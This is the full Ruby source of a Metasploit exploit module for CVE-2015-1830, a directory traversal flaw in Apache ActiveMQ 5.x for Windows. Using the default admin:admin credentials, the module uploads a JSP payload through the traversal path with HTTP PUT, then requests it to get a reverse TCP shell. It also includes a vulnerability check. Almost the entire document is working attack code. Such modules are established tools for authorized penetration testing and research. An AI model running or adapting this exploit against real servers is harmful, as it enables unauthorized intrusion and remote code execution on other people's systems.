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This Metasploit module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ versions 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache ActiveMQ 5.x before 5.11.2 for Windows. The module tries to upload a JSP payload to the /admin directory via the traversal path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ credentials admin:admin (or other credentials provided by the user). It then issues an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the payload and obtain a shell. }, 'Author' => [ 'David Jorm', # Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ [ 'CVE', '2015-1830' ], [ 'EDB', '40857'], [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ] ], 'Privileged' => false, 'Platform' => %w{ win }, 'Targets' => [ [ 'Windows Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], ], 'DisclosureDate' => '2015-08-19', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 8161, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), OptString.new('PATH', [true, 'Traversal path', '/fileserver/..\\admin\\']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) ]) end def check print_status("Running check...") testfile = Rex::Text::rand_text_alpha(10) testcontent = Rex::Text::rand_text_alpha(10) send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => "<% out.println(\"#{testcontent}\");%>" }) res1 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res1 && res1.body.include?(testcontent) send_request_cgi( opts = { 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'DELETE' }, timeout = 1 ) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Uploading payload...") testfile = Rex::Text::rand_text_alpha(10) vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails. send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'PUT', 'data' => payload.encoded }) print_status("Payload sent. Attempting to execute the payload.") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"), 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }, 'method' => 'GET' }) if res && res.code == 200 print_good("Payload executed!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload") end end end Download Source